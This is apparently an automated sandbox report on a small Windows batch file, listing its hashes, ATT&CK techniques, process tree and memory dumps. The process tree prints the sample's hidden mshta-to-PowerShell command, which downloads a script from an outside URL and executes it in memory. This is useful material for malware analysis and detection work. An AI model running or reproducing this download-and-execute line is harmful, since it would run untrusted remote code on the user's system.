280dcd871598f7ac18dba9d481761b75a46ea1603ffcc221382a512399daa416

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
22-01-2025 06:11

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General

Target

main.cmd
Size

140B
MD5

6048bdda1dfd48e6a362ab0215f5e568
SHA1

e49d8e37a5eff5fd81584bca4d2184a2a9716b67
SHA256

280dcd871598f7ac18dba9d481761b75a46ea1603ffcc221382a512399daa416
SHA512

d56ea7dc7c6b1931cd15248e034906b4187c07ea5114699b0be98e85c7f008a40a1754aa17fb0cfd1e939c04357ee37ea8d6f8f4ecd6d2b3996ef7fb3a93bcff

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2760	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2760	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2760	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2056 wrote to memory of 2676	2056	cmd.exe	32
PID 2056 wrote to memory of 2676	2056	cmd.exe	32
PID 2056 wrote to memory of 2676	2056	cmd.exe	32
PID 2676 wrote to memory of 2760	2676	mshta.exe	33
PID 2676 wrote to memory of 2760	2676	mshta.exe	33
PID 2676 wrote to memory of 2760	2676	mshta.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\main.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2056
- C:\Windows\system32\mshta.exe
  mshta vbscript:CreateObject("WScript.Shell").Run("powershell -command ""iwr('https://codeforfun.vercel.app/sigma') | iex""",0)(window.close)
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2676
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "iwr('https://codeforfun.vercel.app/sigma') | iex"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2760-6-0x0000000002770000-0x0000000002778000-memory.dmp

Filesize
32KB

Download
memory/2760-5-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download